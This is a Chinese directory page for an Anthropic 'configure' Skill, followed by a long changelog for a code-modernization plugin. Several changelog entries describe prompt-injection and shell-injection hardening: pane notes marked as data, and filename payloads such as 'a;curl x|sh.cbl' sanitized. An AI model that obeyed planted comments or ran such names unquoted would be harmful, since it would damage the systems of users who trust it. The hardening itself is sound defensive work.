configure – Claude 插件配置 Skill

3周前更新 14 0 0 0

configure 是 Anthropic 官方仓库发布的配置类 Skill，用于指导 AI Agent 接收自然语言配置需求并按规范流程完成项目或环境的设置与调整，适合在 Claude Code 等支持 Skill 机制的环境中处理配置文件修改、本地开发环境初始化等任务。

查看调研报告 在来源平台打开

Skill 安装

多 Agent 安装 
npx skills add https://github.com/anthropics/claude-plugins-official --skill configure

使用 npx skills 快速安装，支持将 Skill 添加到多个兼容的 AI Agent。

Skill 调研报告

Skill 详细介绍

anthropics/claude-plugins-official#configure 是 Anthropic 官方插件仓库 claude-plugins-official 中一个名为 configure 的 Skill。从命名和归属看，它的定位是让 AI Agent 在遇到配置类任务时，按照一份可复用的指令集去完成环境、项目或工具链的设置与调整，例如初始化项目配置、梳理散落的配置项、按规范给出配置修改步骤。

需要先说清楚它不是什么：它不是一个独立运行的程序，不是可以单独安装的 npm 包或 CLI 工具，也不是对外提供服务的 API。它本质是一份运行在 AI Agent 内部的指令集 / 工作流——Agent 加载它之后，遇到相关请求时会参考这份 Skill 的指导来完成任务。

它的核心用途可以概括为：

  • 接收用户以自然语言提出的配置类需求
  • 指导 Agent 按规范流程完成配置步骤
  • 在 Claude Code 这类原生支持插件机制的环境中作为可复用的配置能力使用

它擅长的是按 Agent 指令完成配置类工作，而不是对外提供一个配置管理服务。如果你的目标是让 Agent 帮你梳理或调整某个项目的配置，它属于对口场景；如果你的目标是找一个独立的配置管理软件，它并不属于这类工具。

当前可获取的官方资料对 configure 的具体功能边界、支持的操作范围没有给出详细说明，具体能力请以该 Skill 当前官方说明为准。

Skill 安全评估

总体判断：它来自 Anthropic 官方组织仓库 claude-plugins-official，相比第三方转载或 Fork 版本来源可信度更高。但官方来源可信不等于零风险，实际风险主要取决于你给 Agent 开放了哪些权限，以及它被用于修改什么对象。

需要重点关注的安全点：

  • 来源可信度：安装时请确认来源是 Anthropic 官方仓库，而不是镜像站、二次发布版本或来源不明的 Fork。来源不同，代码和指令内容可能被修改。
  • 文件写入：配置类 Skill 通常会读取或修改配置文件。如果配置对象是你的正式项目，建议先确认它会写入哪些文件、改动哪些字段，再决定是否让它自动执行。
  • Shell 权限：如果 Agent 在执行该 Skill 时被允许自动执行 Shell 命令，可能会修改本机环境或项目文件。若只想让 Skill 给出配置建议、由你手动执行，可以关闭 Agent 的 Shell 自动执行权限。
  • 凭证处理：如果配置流程涉及 API Key、Token 等内容，避免让 Agent 把凭证写进明文配置或日志。凭证应交给环境变量或专门的密钥管理机制。
  • Prompt Injection：如果 Skill 在处理外部内容（例如读取的配置文件、仓库内容）时，这些内容可能夹杂诱导性指令，Agent 应保持谨慎，不把它当作可信指令直接执行。

降低风险的实操做法：

  • 从官方仓库安装，避免使用来源不明的副本
  • 对正式项目先做备份，或在测试环境中先跑一遍
  • 不需要自动执行时，关闭 Agent 的 Shell 自动执行权限
  • 配置流程中涉及的凭证使用环境变量或密钥管理工具，不要直接写进 Skill 配置文件

Skill 使用要求

一、Agent / 客户端

该 Skill 位于 anthropics/claude-plugins-official 仓库，属于 Anthropic 官方插件体系，与 Claude Code 的插件 / Skill 加载机制最为契合，可以优先在 Claude Code 中使用。

对于 Codex、Cursor、Trae、OpenClaw、WorkBuddy 等其他主流 AI Agent，官方没有公布完整的兼容列表。不过从 Agent Skill 的工作方式来看，只要对应 Agent 支持 Skills、自定义 Skill 或类似的指令加载机制，通常也可以尝试在其中使用。不同 Agent 的 Skill 加载方式和支持程度可能不同，具体以对应 Agent 当前版本为准。

二、运行环境 / 依赖

项目 要求
Agent Claude Code 优先，其他支持 Skill 机制的 Agent 可尝试
网络 安装时通常需要能访问 GitHub / 对应插件源
运行环境 具体依赖以该 Skill 当前官方说明为准，官方未明确列出统一版本要求

三、权限

  • 文件读取：通常是必需的，用于读取项目相关配置
  • 文件写入：视具体配置任务而定，可能需要修改配置文件
  • Shell：视具体配置任务而定，如涉及执行命令则需要
  • 网络：安装 / 更新时需要，具体使用过程是否需要以官方说明为准

四、账号 / API Key

Skill 本身是否需要账号或 API Key，官方资料没有明确说明。这里需要区分两件事：一是这个 Skill 自身的安装和使用是否需要凭证；二是这个 Skill 帮你配置的目标项目或服务是否需要账号 / API Key。后者取决于你实际配置的目标服务，与该 Skill 本身是两回事。

最小使用条件

  1. 一个支持 Skill 机制的 AI Agent（Claude Code 优先）
  2. 能访问该 Skill 官方来源的网络环境
  3. 明确的配置任务和对象

Skill 安装、使用与卸载教程

一、安装

可以直接复制本页面提供的 Skill 安装指令，粘贴到对应 Agent 或终端执行。

如果你不清楚自己的 Agent 该怎么安装，可以直接向当前 AI Agent 提问：

如何安装 anthropics/claude-plugins-official#configure？

也可以指定 Agent 环境询问，例如：

如何在 Claude Code 中安装 anthropics/claude-plugins-official#configure？

如何在 Codex 中安装 anthropics/claude-plugins-official#configure？

如何在 Cursor 中安装 anthropics/claude-plugins-official#configure？

让 Agent 根据自己的 Skill 加载和管理机制来指导安装，通常比照搬通用步骤更可靠。

二、安装后如何使用

安装完成后，通常不需要特殊命令，直接在对话中描述你的配置需求即可触发。适合交给它的任务类型包括：检查并调整项目配置文件、指导本地开发环境初始化、整理仓库里散落的配置项等。

自然语言使用示例：

使用 configure，帮我检查并调整这个项目的配置文件。

用 configure 指导我完成本地开发环境的初始化配置。

帮我用 configure 整理一下这个仓库里散落的配置项。

上面是自然语言示例，不是官方 CLI 命令或 Slash Command。实际触发方式以该 Skill 当前官方说明为准。

三、卸载

不同 Agent 的 Skill 安装位置和管理方式可能不同，如果没有统一的卸载命令，比较稳妥的做法是：

  • 使用对应 Agent / Skill 管理器提供的删除方式移除该 Skill
  • 或直接询问当前 Agent：如何卸载 anthropics/claude-plugins-official#configure？

不要手动删除不确定用途的系统目录。

常见问题

1. 这个 Skill 可以同时安装到多个 Agent 吗？

通常可以。不同 Agent 各自的 Skill 目录相互独立，互不影响。但加载方式和运行环境可能不同，建议在各自环境中分别验证是否被正确识别。

2. 中国大陆使用是否有网络要求？

安装阶段通常需要访问 GitHub 或对应插件源，网络是否顺畅会影响安装。使用阶段是否需要联网取决于具体配置任务，以官方说明为准。

3. 为什么安装后 Agent 没有识别到这个 Skill？

常见原因有三类：Skill 没有放在正确的加载目录、Agent 版本不支持 Skill 机制、或需要重启 / 重新加载 Agent。可以直接询问当前 Agent：我的 configure Skill 为什么没有被识别？

4. 更新后需要重新安装吗？

取决于 Agent 的 Skill 管理方式。如果 Agent 支持自动同步更新，一般不需要；如果是从固定版本安装，则需要重新拉取。具体以对应 Agent 的机制为准。

5. 这个 Skill 会不会修改我现有的项目文件？

配置类 Skill 通常可能涉及写入配置文件。如果不希望它自动改动，可以先备份项目，或在 Agent 中关闭自动写入 / 自动执行权限，改为逐步手动确认。

6. 可以关闭 Shell 权限使用吗？

可以尝试。如果只希望 Skill 给出配置建议而不实际执行，关闭 Agent 的 Shell 自动执行权限通常就能达到这个效果，由你自己执行最终命令。

7. 和类似配置类 Skill 有什么区别？

官方目前没有给出与其他同类 Skill 的对比说明。如果同时存在多个配置相关 Skill，建议根据自己的具体场景选择，并以各 Skill 官方说明为准。

Skill 更新日志

版本列表
无版本号
合并拉取请求 #6309，来自 anthropics/morganl/code-modernization-consolidated code-modernization：带独立证明的引导式工作流
无版本号
Claude Security Plugin - v0.12.0 (#6310) 1 个提交的压缩合并
无版本号
code-modernization：统计失败次数和机器的 python，每个版本一次 使用计数现在会说明插件运行在什么之上（系统、python 状态和版本、路径问题），以及发生的是哪种失败：python 缺失或为占位符、权限阻止、模型错误，或插件自身脚本中的错误。失败会在机器上被归类到一个固定列表中，只发送代码，每种类型每个会话一次。会话启动 ping，每个插件版本一次，统计那些没人走到输入命令这一步的机器。当 python 无法运行时，shell 包装器会自行报告，在 Windows 上则回退到 python 或 py 启动器。
无版本号
code-modernization：版本 1.0.0、使用计数和 README 结果表 该插件现在有了版本号和变更日志。两个钩子通过 CLI 自身的遥测记录整数使用计数（运行了哪个命令、系统进行到哪一步、有多少规则和证明）：从 100 起的计数会四舍五入，插件未使用时不会发送任何内容，三个开关中的任意一个都能将其关闭。README 记录了每个键，并列出插件在哪些对象上试用过，已对照运行文件核对。
无版本号
code-modernization：将窗格的规则审查命令重命名为 /modernize-review-pane 窗格中裸写的 /modernize-review 占用了插件自身审查命令的名称，因此在启用窗格的会话中输入短形式会打开窗格的卡片，而不是弹出式审查。窗格的版本现在是 /modernize-review-pane，而 /modernize-review 始终运行插件命令。两者仍然写入同一个审查文件。
无版本号
code-modernization：只有有运行过的测试作为依据，规则才算被测试 仅被跳过或待定测试命名的规则不再算作已覆盖。它会被列为“已命名，未运行”并使规则检查失败。仅用于测试的文件夹会被列为工具并得到无判定。verify 命令仅在用户要求精确行为时才尝试畸形记录，因此证明循环有终点。报告以线性时间解析规则标题和字段，报告和窗格会显示新状态。
无版本号
code-modernization：每个输入批准一次差异 对重写后的批处理作业进行独立检查时，发现某个族的两个新输入存在差异（一个空白数值字段，重写有意拒绝，而旧程序将其读作零）。每个输入有多个输出文件，因此接受该偏差意味着每个输入要手写三到四个条目。 cases 文件中的顶层 "approvedInputs": {"F23": "reason"} 现在会批准共享该输入标签的每个用例。仍然需要原因（空白不批准任何内容），用例自身的原因优先，缺失文件绝不会变成通过，结果仍会将差异列为已批准。
无版本号
code-modernization：使规则合并可审计且防注入 合并阶段审查后的后续修改： - 该 agent 是一种受限类型，与其同类具有相同的只读措辞，其编号列表上的每个字段都是单条有界行，因此包含换行的规则名无法伪造另一个条目。 - 任何数字超出范围或不是整数的组会被整体拒绝，而不是被强制转换为另一种合并。 - 合并会保留最保守的审查状态：最高优先级、最低置信度，以及被折叠规则的所有疑似缺陷和 SME 问题。 - 每条被折叠的规则都会连同它并入的规则一起返回，规则文档会在“Rules folded into another”下列出它们，因此不会有任何内容无迹可寻地消失。额外引用显示为“Also cited”，不带连接词。
无版本号
code-modernization：同技术升级不能靠手工输入的基线或编辑过的测试来证明 同技术升级可能过于轻易地得出 PROVEN 的三种方式： - 基线来自某人手工输入的表格。现在只有当脚本能从 analysis//baseline/ 或 BASELINE.md 的“Recorded:”行读取逐测试结果（JUnit 或 TRX XML、带摘要行的运行器日志，或逐测试 JSON）时，它才被视为已测量；仅含计数的文件会被忽略，两个已测量来源不一致即为缺口，手工输入的表格必须与测量结果一致。 - 升级期间被编辑的测试未被注意到。该包现在会比较旧版和工作副本的测试文件（仅通过遍历文件），并列出新增、删除或更改的内容；删除文件、超过四分之一的文件被更改，或没有旧版测试可供比较，即为缺口，并且它会明确说明无法检测被削弱的断言。 - 没有测试覆盖其位置的静默行为变更。目录中每个 Behavioral-silent 增量都必须有一个测试文件指明其位置文件，否则该模块最多为 PARTLY PROVEN。 报告的 Proof 部分会显示这三项新检查，缺少其中任何一项的升级包都会读作 PARTLY PROVEN。214 个脚本测试通过。
无版本号
code-modernization：将多个文件中发现的同一规则折叠为一条 一个用 C、一个 C++ 头文件和一个定点变体实现的数值库产生了三条“twiddle factor”规则、两条“generic butterfly”规则和两条“factorization”规则，因为裁判的重复键是文件加上规则名。计划和审查因此带有噪声。 验证后，每 150 条规则由一个小型 agent 列出描述同一行为在多个位置实现的组，并被告知只合并那些会作为一件事实现和测试的内容。保留的规则会引用每个位置（渲染器将它们显示为“Also cited”），并采用其组内的最高优先级；重叠、超出范围或自我合并的组会被忽略，规则列表被围栏标记为不可信数据。计数以 stats.consolidated 报告。
无版本号
code-modernization：更安全、更通用的版本升级 由一位拥有大型 Java 8 系统的工程师阅读这些命令时发现： - 基线套件曾“在 legacy/ 上”运行，这会把构建输出写入源代码。现在它会在临时副本上运行，其结果文件或日志保存在 analysis//baseline/ 下并在 BASELINE.md 中命名，仅手工输入的表格不再算作已测量的基线。 - 工作副本不再携带源仓库的历史，会将看起来像凭据或生产设置的文件排除在其首次提交之外并列出供人工查看，并将该历史移动到其自己的新本地仓库。 - 迁移工具（OpenRewrite 等）在临时副本上运行，绝不在源代码中运行，因为试运行仍会构建和下载。 - 跨越多个版本或同时进行两件事（JDK 和框架）的移动会被拆分为每次都能构建和测试通过的跳步。 - 在用户说明其为本地或一次性实例之前，不会针对配置指定的数据库或服务运行测试。 - 静默行为搜寻现在会列出 Java、Python、Node 和 PHP 以及 .NET 的常见陷阱（区域设置数据、默认字符集、ORM 映射、属性绑定、str/bytes）。 - 简报不再要求同技术升级提供业务规则：记录的基线就是其行为契约，因此 extract-rules 可以等待。
无版本号
code-modernization：README 的截图，以及人在哪里做决定 添加 README 和窗格文档使用的图片：三张报告图（证明通过时的概览视图、独立检查发现开发用例遗漏的差异时的同一视图，以及证明标签页）和十张实时窗格图，由窗格自身代码根据已完成的运行绘制。报告图片来自真实运行；窗格的 fleet 和 x-ray 视图及其 GIF 使用脚本化的 agent 活动，审查和签核图片使用示例文本，所有这些都在窗格的 README 中说明。 前门会列出人做决定的每个位置，并在用户要求时将安全扫描移到最前，status 会将新用户指向前门，而不是直接指向 preflight。
无版本号
code-modernization：窗格措辞、关注项和与代码匹配的文档 窗格的按钮显示“put in prompt”（它从不运行命令），刷新按钮已移除（窗格已在写入后、回合结束时以及空闲时每 20 秒刷新），摘要行适合 120 列宽，下一步原因足够简短可读。正在讨论的 P0 规则会列在 Attention 下（“the build waits”），未证明的模块会在那里显示其第一个原因。在升级中，已完成的模块列在仅被编辑过的模块之前。 hooks/README.md 现在按代码实际命名每个按钮和标签，记录插件的 /code-modernization:modernize-review 命令（它为没有窗格的人写入同一账本）及其与窗格自身 /modernize-review 的区别，并说明哪些图片使用示例文本。141 个引擎测试通过，类型检查干净。
无版本号
code-modernization：报告上的下一步，以及保持词语完整的表格 报告是人们最先打开的页面，但它从未说明下一步该做什么。它现在会显示一个带复制按钮的命令和一行原因，根据存在哪些产物决定（preflight 到 brief，规则看起来错误时在计划前进行规则审查，构建后 verify，harden，然后 status）。 短词和判定药丸不再在狭窄表格单元格内断开（“sam”和“e”、“Calculatio”和“n”）：只有路径和哈希可以在任意位置断开。
无版本号
code-modernization：人们对规则的判定进入构建，以及更安全的基线 审查者的“这条规则是错的”从未到达计划或重写：窗格写入了没有任何命令读取的审查账本，而没有窗格时也无法写入。 /code-modernization:modernize-review 会在弹出窗口中询问需要判断的规则（带缺陷、SME 问题或置信度低于 High 的 P0 规则），或接受在请求中输入的判定，并写入相同的 RULE_REVIEWS.json/.md，可带可选备注。brief、transform、reimagine 和测试工程师会读取它：标记为错误的规则不是 oracle，正在讨论的 P0 规则会阻止。 运行旧系统以记录基线现在仅限于本地机器或用户指定的测试环境；生产或第三方服务、新账户和真实数据均被禁止，除非已批准的计划指定它们，记录响应中的令牌会在保存任何内容之前被替换，每个命令都会停止它启动的服务器。 另外：前门在四个选项限制内通过两个弹出窗口询问，每个命令都会将缺少代码的用户指向 /modernize --source ，状态清单和下一步顺序包括 review 和 verify，评估会说明 Rehost 和 Replace 的含义，preflight 会注明 Windows 的 python 名称，插件和市场描述与其功能一致。
无版本号
code-modernization：带每个模块一个判定的独立证明步骤 /code-modernization:modernize-verify 会重新检查已完成的构建，而不是信任它留下的笔记，并由脚本（而非模型）为每个模块计算一个判定：PROVEN、PARTLY PROVEN 或 NOT PROVEN，并将规则写入输出。 该包会重新读取测试自身的结果文件或保存的运行器日志（命令仅报告的计数从不计入），将每条 P0 业务规则追溯到命名它的测试，用 compare.py 再次判断旧输出和新输出，然后在两个系统上运行至少十个开发未使用的输入。它要求有一个使测试变红的已记录 canary，检查旧版源代码未被改动（通过文件时间：被分析树中没有进程运行），并将每个人工标准列为等待人工处理。对于升级，它会将新结果与记录的基线进行 diff。判定绝不会从早先的运行中沿用。 报告新增 Proof 部分，从相同检查重新计算每个判定，失败的图表不再阻止其后的图表绘制。
无版本号
code-modernization：让规则提取与代码成比例 在一个约一千行的 C 工具上，整个资产范围的提取运行了四轮，生成了 223 个 agent 并返回 141 条规则（其中 31 条为 P0），因为模型总能在小程序中找到又一个微行为，而循环只有在某一轮完全找不到任何内容时才停止。 每个提取器现在都会收到关于规则切分细度的相同指令：每个业务决策或计算一条，而不是每个分支或字段一条，跳过管道代码，大约每 40 到 80 行真实逻辑一条，并且只对少数会破坏系统目的的规则评为 P0。整个资产范围的循环默认两轮，并在某一轮新增内容低于已编目内容的 15% 时停止。
无版本号
code-modernization：让实时窗格在低于 144 列时工作并显示证明 通过针对已完成运行的真实输出演练窗格发现： - 低于 144 列时，引擎会阻止未请求的窗格；窗格忽略了这一点，因此它不绘制窗格、不显示 show bar，而面板命令“隐藏”了一个从未存在的窗格。 - 符号链接的 legacy/ 会被列为另一种条目，因此 preflight 现在创建的源链接从未被识别为系统。 - Uplift 和 reimagine 的下一步是没有按钮的占位符。 - 刷新防抖在 agent 运行时被饿死，因此地图冻结。 - 简报、规则和基线中的恶意行可能需要数秒来匹配；现在行数被限制。规则审查账本在读取时验证并在保存时合并，并保留审查者的备注。 - 没有行的基线被读作“基线有 0”；单模块基线总数现在计为该模块的行。 新增：每个已构建模块上带文字的判定芯片、verify 优先的下一步，以及跟随终端主题的可读调色板。140 个引擎测试通过，类型检查干净。
无版本号
code-modernization：加固数值容差并说明 Rehost 和 Replace 的含义 容差检查审查后的后续修改：高于 1e-6 的绝对容差会像高于 1% 的相对容差一样被拒绝，数字按精确十进制而非 double 比较，像 1.2.3 或 10.0.0.1 这样的点分运行是必须精确匹配的文本，自检现在会更改每个采样数字的首位数字，以证明容差无法隐藏真实变化。 业务规则标题会说明提取时有多少条规则，因为后续步骤会添加规则。评估会说明当它建议 Rehost 或 Replace 时该做什么，这些不更改代码，因此没有构建命令。
无版本号
code-modernization：在声明的容差内比较浮点输出 等价性检查仅比较字节，这对数值代码（Fortran、C、科学和金融结果）无法通过，因为其最后几位数字在不同编译器和数学库之间会不同，因此这些情况会促使人们把数字掩盖掉。用例现在可以声明容差，相对或绝对，并需要原因。只有带小数点或指数的数字可以在容差内不同；整数和所有其他字节必须匹配，高于 1% 的相对容差会被拒绝，容差和最大差异会记录在结果中。当容差宽松到足以隐藏数字首位数字的变化时，自检也会失败。
无版本号
code-modernization：渲染业务规则时每条规则保留一个引用 提取器被告知每条规则引用单个文件范围，但在一个大型 Perl 代码库上，它不断在 source 字段中返回两三个文件以及一句解释，报告和窗格无法将其解析为行。渲染器现在取第一个 path:line-range 作为规则的引用，并将后面的任何内容放在“Also cited”行。
无版本号
code-modernization：按名称调用工作流并修复升级版本参数 只要插件位于工作目录之外，Workflow 工具就会拒绝插件脚本路径，而这是已安装插件的正常情况：模型在每次运行中都会失败一两次，然后才回退到注册名称。命令现在按注册名称调用每个工作流，仅将脚本路径作为回退提及。 modernize-uplift 还引用了 legacy/$system_version，这不是一个参数；它现在处处使用 $source_version，并且当未给出版本对、重写目标和愿景时，会回退到 analysis//INTENT.md。README 指出脚本化（claude -p）运行需要 CLAUDE_CODE_PRINT_BG_WAIT_CEILING_MS=0，以便长时间扇出步骤能够完成。
无版本号
code-modernization：对每个系统以同一种方式衡量组合复杂度 组合扫描让每个调查 agent 自行选择复杂度工具，因此一个系统的数字是每文件总数，另一个是每函数均值，而热图仍然比较它们。每个 agent 现在采用相同度量（每文件决策点总数，以及最复杂的单个文件），工作流按每千行代码计算复杂度，表格显示这些列。文档覆盖率不再将许可证头计为文档。
无版本号
code-modernization：只询问一次你想要什么的前门 /code-modernization:modernize 不接受参数。它会找到代码，询问用户想用它做什么（同一技术的新版本、用另一种技术重写、重建，或只是理解它）以及什么必须保持为真，将答案写入 analysis//INTENT.md，用几行展示前路，并给出确切的第一条命令。再次访问时，它的行为类似 status。 brief 从 INTENT.md 获取其目标、目标和每个阶段的构建命令，uplift、transform 和 reimagine 会为其版本、目标和愿景回退到它，因此不会有人被问两次同样的事。README 的 start 部分现在以前门开始。
无版本号
code-modernization：按系统用途评定规则，并让实时运行完成 在真实仓库上运行命令时发现的两个问题： - P0 定义是金钱和监管形态的，因此一个音乐库工具没有得到 P0 规则，其行为契约结果为空。P0 现在意味着系统的核心目的依赖该规则，或者错误结果代价高昂或不可逆（金钱、法律、数据完整性、安全或安保，或系统存在所执行的核心计算或决策）。 - 引用返回为范围列表，而规则渲染器编号 RULE-NNN 的顺序与文档不同。每条规则现在引用一个范围，编号按顺序读取。 启动子 agent 的命令现在会说要以前台方式运行并等待，因为无头会话在模型停止说话时结束，即使它说自己在等待后台 agent。
无版本号
code-modernization：更简单的命令、source 选项、报告页面和等价性检查 命令硬编码了 legacy/，因此太大而无法复制的代码，或位于绝对路径的代码，需要手工创建符号链接。Preflight 现在接受 --source 并为你创建 legacy/ 链接（Windows 上为 junction）；不会复制任何内容，每个命令在开始前都会说明链接指向哪里。harden 补丁使用 patch -p1 -d 应用。 每个命令结束时都会指明下一个要运行的命令，并且命令缩短了约三分之一，没有删除任何步骤： - map 接受现有依赖图（--graph）或技术栈自身的工具，以可恢复的块映射非常大的资产，将反射目标记录为未解析而不是死代码，在描述超过 40 个节点前询问，并且绝不给两个节点相同的位置。 - transform 可以从 brief 获取其模块和目标，统计已执行的等价性用例（零是失败，比较绝不跳过），通过有意的一行破坏展示测试可以失败，并在两个系统都能运行时将“相同或不同”交给脚本。 - brief 以固定形态编写每个阶段：一条命令、与 map 中一致的模块 id，以及写成构建命令可以勾选但不能改写的条件的标准。 - reimagine 复用发现产物，而不是再次提取它们。 - status 指明接下来要粘贴的确切命令。 scripts/build_report.py 将命令写入的任何内容转换为一个自包含、离线的 REPORT.html（Mermaid 已内置，分析中的所有文本都已转义，隔离的 secrets 文件从不读取），scripts/compare.py 逐字节判断两个输出是否匹配，记录原因，并检查它能够失败。分片构建器忽略符号链接和离开源的路径，将普通名称与其下方内容匹配，并在 map 的模块共享位置时回退到目录树。 README 从 275 行减少到约 100 行；窗格的参考移到 hooks/README.md。
无版本号
code-modernization：extract-rules 使用随插件提供的分片构建器和规则渲染器 该命令过去内联携带一个 35 行的分片构建脚本，并要求模型在每次运行时编写规则渲染器，因此分片列表和 BUSINESS_RULES.md 布局每次运行都不同，且无法测试。 scripts/make_shards.py 在 map 已运行时从 topology.json 构建分片列表，未运行时从目录树构建（跳过 vendored、生成和测试夹具目录，每个目录一个分片，在 25 个文件或约 5,000 行处拆分）。scripts/render_rules.py 将工作流结果转换为 BUSINESS_RULES.md 和 DATA_OBJECTS.md，带有 RULE-NNN 标题、SME 部分和覆盖缺口，并将分析中的每个值写为纯文本。 工作流接受可选的 sourceDir，因此代码可以位于工作区之外，分片文件保持相对于它。该命令从 305 行减少到约 150 行。
无版本号
code-modernization：将窗格的笔记标记为数据并清理其中的名称 窗格会向模型读取的内容添加两类文本：关于它刚读取文件的笔记（来自分析文件的名称、规则标题和 delta id）和一行状态。这些名称由分析 agent 从旧版代码写入，因此恶意注释可能通过它们到达模型。 每个此类值现在都被截断为一条简短纯文本行：控制、不可见和双向字符、反引号、尖括号和方括号以及双引号都会被替换，长值会被修剪。笔记开头会说明其内容是数据，绝不是指令，并以任何值都无法伪造的结束行收尾。状态行说明它是状态行而不是指令，下一步命令仅在模块 id 是单个普通 token 时才命名模块。窗格只列出插件工作流接受其名称的系统目录。
无版本号
code-modernization：添加可选的实时进度窗格 添加一个 hooks 模块，除非 CLI 的早期访问功能钩子已启用，否则关闭，它会在命令运行时在转录旁绘制一个窗格：系统、哪些步骤已完成、其代码地图、每个工作单元及其所处状态、需要关注的内容，以及下一条命令。 它只读取命令写入的产物和旧版树，因此适用于任何语言，以及重写、同栈升级或全新重建。地图在有 topology.json 时来自它，没有时来自源代码树。在升级中，每个模块都会与基线对照；测试从 JUnit XML、.trx 报告或会话看到的运行中读取；一个按钮显示和隐藏窗格，/modernize-panel 可从键盘执行相同操作。 同一模块在旧版读取时添加 x-ray 上下文、业务规则审查卡组（/modernize-review）、签核对话框（/modernize-sign）以及可发现某个失败在多个 agent 中重复出现的 fleet 视图。它只观察：从不阻止、重写或恢复编辑，也不在其读取的树内运行任何程序。升级中更改的模块通过文件 API 按文件名和大小比较工作副本与树来发现。其选项是插件的 userConfig。没有该标志时不会加载任何内容，命令、agent 和工作流的行为与之前相同。 tests/ 中的 91 个测试使用 "claude plugin test" 运行；plugin validate 在发布构建上无论该标志开启还是关闭都通过。
无版本号
code-modernization：在模块和文件名进入提示之前检查它们 extract-rules 会将来自仓库自身文件名的模块名和文件路径放入 agent 提示。它们已经过遍历、控制字符、反引号和尖括号检查，但诸如 "a;curl x|sh.cbl" 或 "$(id).cbl" 这样的名称会通过，如果 agent 将其未加引号粘贴到命令中就可能被执行。 模块名和域是标签：它们从不被打开，因此现在会被清理而不是丢弃（shell 分隔符、引号、glob 和花括号字符、开头的连字符或空格，以及开启展开的美元符号都会变成 "_"），并且提示会说明名称只是标签。文件路径必须往返一致，因此当它包含命令分隔符、引号、glob、花括号或方括号字符、开启展开的美元符号（$(、${、$HOME、$IFS、$@）、开头或结尾空白、词首或 = 或 : 之后的 ~，或以 - 开头的词（shell 会将 "a -rf.cbl" 拆分为路径和标志）时，会被检查并丢弃，丢弃会被计数并记录。反斜杠会先转换为 /，因此检查和 shell 看到同一种拼写，Windows 风格路径也能继续工作。 数字前或末尾的美元符号仍然允许，#、@、~ 在词内以及空格之间的单个连字符也允许：大型机成员名会使用它们（"PAY$001"），而位置参数会展开为空或 shell 自身名称，绝不会展开为文件作者控制的任何内容。 提取器提示还说要使用 Read 工具打开路径，并将任何进入 shell 命令的路径用单引号包裹。

暂无评论

none
暂无评论...